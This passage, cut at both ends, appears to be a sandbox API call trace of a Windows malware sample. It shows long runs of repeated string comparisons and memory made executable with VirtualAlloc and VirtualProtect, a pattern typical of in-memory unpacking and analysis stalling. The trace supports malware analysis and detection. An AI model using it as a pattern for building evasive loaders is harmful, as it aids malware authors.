returned 0 [0015.219] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.221] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.221] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.224] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.229] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.230] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.231] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.232] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.232] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.233] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.234] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.234] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.235] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.235] VirtualAlloc (lpAddress=0x0, dwSize=0x64000, flAllocationType=0x1000, flProtect=0x2) returned 0x4e0000 [0015.236] VirtualProtect (in: lpAddress=0x4e0000, dwSize=0x64000, flNewProtect=0x40, lpflOldProtect=0x18fe70 | out: lpflOldProtect=0x18fe70*=0x2) returned 1 [0015.246] VirtualProtect (in: lpAddress=0x400000, dwSize=0x64000, flNewProtect=0x40, lpflOldProtect=0x18fe70 | out: lpflOldProtect=0x18fe70*=0x2) returned 1 [0015.248] PathFindExtensionA (pszPath="Y:\\JDdmMD\\DIODoijmdkMDK DOIodoKDkl\\MJdkmmdMIKD.uiJdk") returned=".uiJdk" [0015.248] lstrlenW (lpString="HDjDKJdkjDKkd") returned 13 [0015.248] GetCurrentThread () returned 0xfffffffe [0015.248] lstrlenA (lpString="MDmdmK.jhg") returned 10 [0015.248] PathIsFileSpecA (pszPath="MDmdmK.jhg") returned 1 [0015.248] StrToIntA (lpSrc="876897") returned 876897 [0015.248] VirtualProtect (in: lpAddress=0x4ebbd7, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18fd90 | out: lpflOldProtect=0x18fd90*=0x40) returned 1 [0015.248] IsCharAlphaW (ch=0x52) returned 1 [0015.249] lstrcpyW (in: lpString1=0x18fc04, lpString2="Template" | out: lpString1="Template") returned="Template" [0015.249] lstrcpyW (in: lpString1=0x18fbf0, lpString2="template" | out: lpString1="template") returned="template" [0015.250] VirtualProtect (in: lpAddress=0x461000, dwSize=0x19ec, flNewProtect=0x4, lpflOldProtect=0x18fb8c | out: lpflOldProtect=0x18fb8c*=0x80) returned 1 [0015.250] GetProcAddress (hModule=0x751a0000, lpProcName="StrCmpNIA") returned 0x751ad11c [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.250] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.251] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.252] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.253] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.254] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.255] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.256] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.257] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.258] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.259] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", 